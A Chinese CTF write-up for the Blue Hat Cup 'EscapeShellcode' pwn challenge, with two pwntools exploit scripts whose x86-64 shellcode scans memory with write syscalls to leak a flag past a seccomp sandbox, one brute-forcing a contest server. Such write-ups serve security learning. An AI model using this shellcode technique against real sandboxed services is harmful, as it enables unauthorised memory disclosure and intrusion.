第六届蓝帽杯 EscapeShellcode

程序分析

在这里插入图片描述


init_io()函数:初始化输入输出流


init_mem()函数:给了一片可以执行的空间
在这里插入图片描述


在这里程序还写了一段代码进去,这样看也不知道他到底干了什么。


在这里插入图片描述


sandbox()函数:开始沙盒,具体限制如下:


在这里插入图片描述


go()函数:让我们从heap_men+170开始写入内容(shellcode),然后执行heap_mem里面的内容,先执行完程序之前写的内容
在这里插入图片描述

#寻找思路

通过调试我们发现之前执行完的效果是:
在这里插入图片描述


**我们可以通过这个read函数,写入gadget执行,但是唯一保留程序真正地址的寄存器只有rip保留着真实地址**

我们可以考虑通过rip的地址盲write,一直尝试知道输出flag

exp

from pwn import*
#from LibcSearcher import *
#io = process('./escape_shellcode')
elf = ELF('./escape_shellcode')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(log_level='debug',os='linux',arch='amd64')


#gdb.attach(io,'b &*$rebase(0x1367)')

for i in range(99999):#便利次数
	io = remote("39.107.108.120",12773)
	
	sleep(0.1)
	a = 0x1000 * i
	print(hex(a))

	shellcode = '''
	lea r13, [rip]
	sub r13, 0x351#只是让输出的内容调整一下位置
	add r13, 0x120#只是让输出的内容调整一下位置
	sub r13, '''+str(a)+'''
	#write系统号调用准备
	mov rdi, 1
	mov rsi, r13
	mov rax, 1
	mov rdx, 0xff
	syscall
	'''
	#0x0067616c662f2e
	#0x55b573fcdb18
	#0x55b595adf120
	#0x18aa000
	io.sendline(asm(shellcode))
	io.interactive()
	io.close()

我们也可以通过rip的地址对其进行地位抹除操作,然后以页为单位,使用write寻找第一个可以输出的页,然后+flag的偏移就可以拿到flag了

from pwn import *  
sh = process("./escape_shellcode")  
context.update(os='linux',arch='amd64',log_level='debug')

  
  
shellcode = '''  
  
mov edi, 1  
  
lea r13, [rip]  
  
and r13, 0xfffffffff00000#只要我们保留的位数,不放心可以多补几个0  
  
mov edx, 0x50  
  
test1:  
  
add r13, 0x1000  

mov eax, 1  
  
syscall  
  
test eax, eax  
  
jng test1 #输出失败继续测试
  
add r13, 0x4120#flag的偏移

mov rsi,r13
  
mov rdx, 0xff
  
mov edi, 1  
  
mov eax, 1  
  
syscall  
  
'''  
  
print(shellcode)  
  
py = asm(shellcode)  
  
sh.sendline(py)  
  
sh.interactive()

可能大家会有疑惑为啥,第一个遇到的可读的就是我们要找的地址呢?如下图所示,我们要找的基地址就是图中的第一个地址,他是程序开始的地址,就是会首先遍历到他,那么write成功的时候就拿到基地址了+flag write就ok了
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值